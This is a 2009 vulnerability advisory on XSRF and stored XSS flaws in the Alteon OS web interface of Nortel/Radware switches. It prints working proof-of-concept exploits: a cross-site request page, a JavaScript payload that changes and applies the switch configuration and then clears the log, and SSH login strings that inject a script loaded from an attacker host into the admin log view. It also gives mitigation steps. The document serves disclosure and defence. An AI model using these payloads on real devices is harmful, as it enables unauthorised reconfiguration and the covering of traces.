[DSECRG-09-062] Alteon OS BBI (Nortell) - Multiple Vulnerabilities

2009-11-17T00:00:00
ID SECURITYVULNS:DOC:22798
Type securityvulns
Reporter Securityvulns
Modified 2009-11-17T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory http://dsecrg.com/pages/vul/show.php?id=161

Various XSS and XSRF vulnerabilities were identified in the Alteon OS Browser-Based Interface (BBI).

Application: Alteon OS BBI Versions Affected: <= 21.0.8.3 and may be higher ( <=25.1.0.0 ) Vendor URL: http://www.nortelnetworks.com; http://radware.com Bug: XSS ans XSRF Vulnerabilities Exploits: YES Reported: 11.08.2009 Secondly Reported: 07.09.2009 Final Reported: 28.10.2009
Date of Public Advisory: 16.11.2009 Solution: YES (Non official) Author: Sintsov Alexey from Digital Security Research Group [DSecRG]

Description


Browser-Based Interface (BBI) software is included in the Nortel Networks(vesrions < 25.0.0.0) and Radware family of switches. The BBI software lets you use your Web browser to access switch information and statistics, to perform switch configuration via the Internet. This vulnerabilities allow remote attackers to change the switch configuration.

Details:


1) XSRF

An attacker may exploit this issue to perform certain administrative actions, e.g. change using predictable URL requests once the user has authenticated and obtained a valid session with the switch.

Example


PoC (Change banner and apply):

<html> <head>

<title>Nortel XSRF</title> </head> <body>

<script src="http://<Switch>/switchSystem.html/bar?banner=newBanner</script> <script src="http://<Switch>/TopToolArea.html?actionState=apply"></script>

</body> </html>

2) Stored XSS

An attacker may inject 36 bytes of JavaScript code into log via SSH login parameter. Login parameter will be written into log as is. BBI or telnet login parameter does not write into log - only SSH. And when log page will be generated all input from SSH login parameter will be displayed as is.

Both vulnerabilities give chance to change switch configuration file or attack Administrator's workstation. A possibility of embedding a code into a log without authentication increases attacker's chance to succeed.

Also any string parameters in BBI can be used for static XSS.

Example


Crete JavaScript code and put it on evil server (inj.js), this code will change switch banner in current configuration, apply this change and clear log:

Proof of Concept:

var request = !window.ActiveXObject ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");

//Change banner request.open("GET", "http://<NortelSwitch>/switchSystem.html/bar?banner=thx2Kononenko", false); request.send(null);

request = !window.ActiveXObject ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");

//apply changes request.open("GET", "http://<NortelSwitch>/TopToolArea.html?actionState=apply", false); request.send(null);

request = !window.ActiveXObject ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");

//Clear log request.open("GET", "http://<NortelSwitch>/clearLog.html", false); request.send(null);

Attacker can include this code into log without use of <EvilHost>. But this way faster.

Next step - connect via SSH and inject parts of code.

Exploit:

alexey@shell#:ssh <NortelSwitch>

login as: <script a=" <script a="@<NortelSwitch>'s password: Access denied^C

alexey@shell#:ssh <NortelSwitch>

login as: " src="http://<EvilHost>/inj.js" b=" " src="http://212.24.49.12/inj.js" b=" com2="@<NortelSwitch>s password: Access denied^C

alexey@shell#:ssh <NortelSwitch>

login as: "></script> "></script>@<NortelSwitch>'s password: Access denied^C

    When administrator have a look into log via BBI, his browser get that:

... Jul 3 13:12:44 <NortelSwitch> NOTICE mgmt: Failed login attempt via SSH from host <AttackerHost>, user <script a="<BR>Jul 3 13:13:08 <NortelSwitch> NOTICE mgmt: Failed login attempt via SSH from host <AttackerHost>, user " src="http://<EvilHost>/inj.js" b="<BR>Jul 3 13:13:23 <NortelSwitch> NOTICE mgmt: Failed login attempt via SSH from host <AttackerHost>, user "></script><BR>

Solution:


We have no answer from Radware about two month. So we don't know about this vuln. in versions 25.0.1.0 - 25.1.0.0.

Here are our recommendations:

a) Turn off BBI. b) Change default SSHd port.

/c/sys/access/https/https d /c/sys/access/http d /c/sys/access/sshd/sshport 42

c) Allow access to SSH and BBI only for trusted machines and networks;

References


http://dsecrg.com/pages/vul/show.php?id=161

About


Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com http://www.dsecrg.com